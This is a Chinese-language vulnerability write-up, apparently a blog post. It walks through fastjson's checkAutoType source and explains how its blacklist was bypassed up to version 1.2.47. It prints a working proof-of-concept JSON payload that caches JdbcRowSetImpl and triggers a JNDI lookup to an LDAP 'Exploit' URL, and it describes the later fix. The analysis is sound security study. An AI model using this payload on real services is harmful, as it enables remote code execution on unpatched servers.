fastjson的漏洞修补及其绕过--至1.2.47
阿里的主要防护手段就是使用checkAutoType进行@type字段的检查
看一下 1.2.41版本checkAutoType的代码
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (typeName.length() >= 128) {//检查长度
throw new JSONException("autoType is not support. " + typeName);
}
final String className = typeName.replace('$', '.');//替换type中的$符
Class<?> clazz = null;
if (autoTypeSupport || expectClass != null) {//开启autoTypeSupport时,白名单过滤,如果符合条件直接loadclass
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}
for (int i = 0; i < denyList.length; ++i) {//开启autoTypeSupport时,黑名单过滤
String deny = denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {//尝试获取clazz
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {//尝试获取clazz
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {//如果前两种方式成功获取,且expectclass非空,则比较其是否在expectclass中,如果不在则异常
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {//未开启autoTypeSupport
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//到这里如果还没获取class
if (clazz == null) {//尝试用默认类加载器去加载class
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (clazz != null) {//返回该元素的指定类型的注释
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
//class1.isAssignableFrom(class2) 判定此 Class 对象所表示的类或接口与指定的 Class 参数所表示的类或接口是否相同,或是否是其超类或超接口。如果是则返回 true;否则返回 false。如果该 Class 表示一个基本类型,且指定的 Class 参数正是该 Class 对象,则该方法返回 true;否则返回 false。
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger ,此处classloader为defaultclassloader=null
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);//生成JavaBean相关信息
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
从代码中可以看出几个检测点和生成class对象的位置
首先是autoTypeSupport,白名单黑名单的检查,随后就是 TypeUtils.getClassFromMapping()和deserializers.findClass()方法去获取class对象,如果还没获取class,就调用默认类加载器进行loadclass。
在1.2.41的bypass中,主要是利用Lcom.xxx在loadclass时能够转换成com.xxx来实现黑名单的绕过与class的生成。
在1.2.47中,为了bypass,使用poc如下
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}
调试可以发现java.lang.Class不在黑名单中,其class是由deserializers.findClass()方法生成的。注意到第一个序列化字符串还带有变量com.sun.rowset.JdbcRowSetImpl。
这里再来看另一个方法TypeUtils.getClassFromMapping(),这个方法用于从缓存的MAPPING中获取class对象。
在第一个序列化字符串完成解析时,com.sun.rowset.JdbcRowSetImpl已经作为变量存入缓存。再来看一下黑名单检测代码
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
这时在第二个序列化字符串解析时,TypeUtils.getClassFromMapping(typeName) == null条件已经不成立,因此可以绕过黑名单。然后便由TypeUtils.getClassFromMapping(typeName);方法生成class对象。
为什么会发生这样的情况呢?在调试时发现,在完成第一个序列化字符串的反序列化时,过程中会返回com.sun.rowset.JdbcRowSetImpl字符串。而在deserialze方法中有如下代码,当被反序列化的对象为class类时,就会加载val变量中的类
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
而在加载类的过程中,会验证是否缓存,如果要缓存,则会调用mappings.put方法将className添加到Mappings中。
因此在对后续的com.sun.rowset.JdbcRowSetImpl进行反序列化时,才会在mappings.get()时返回true。至此绕过完成。
这次之后,修复的方法将cache的默认值改为了false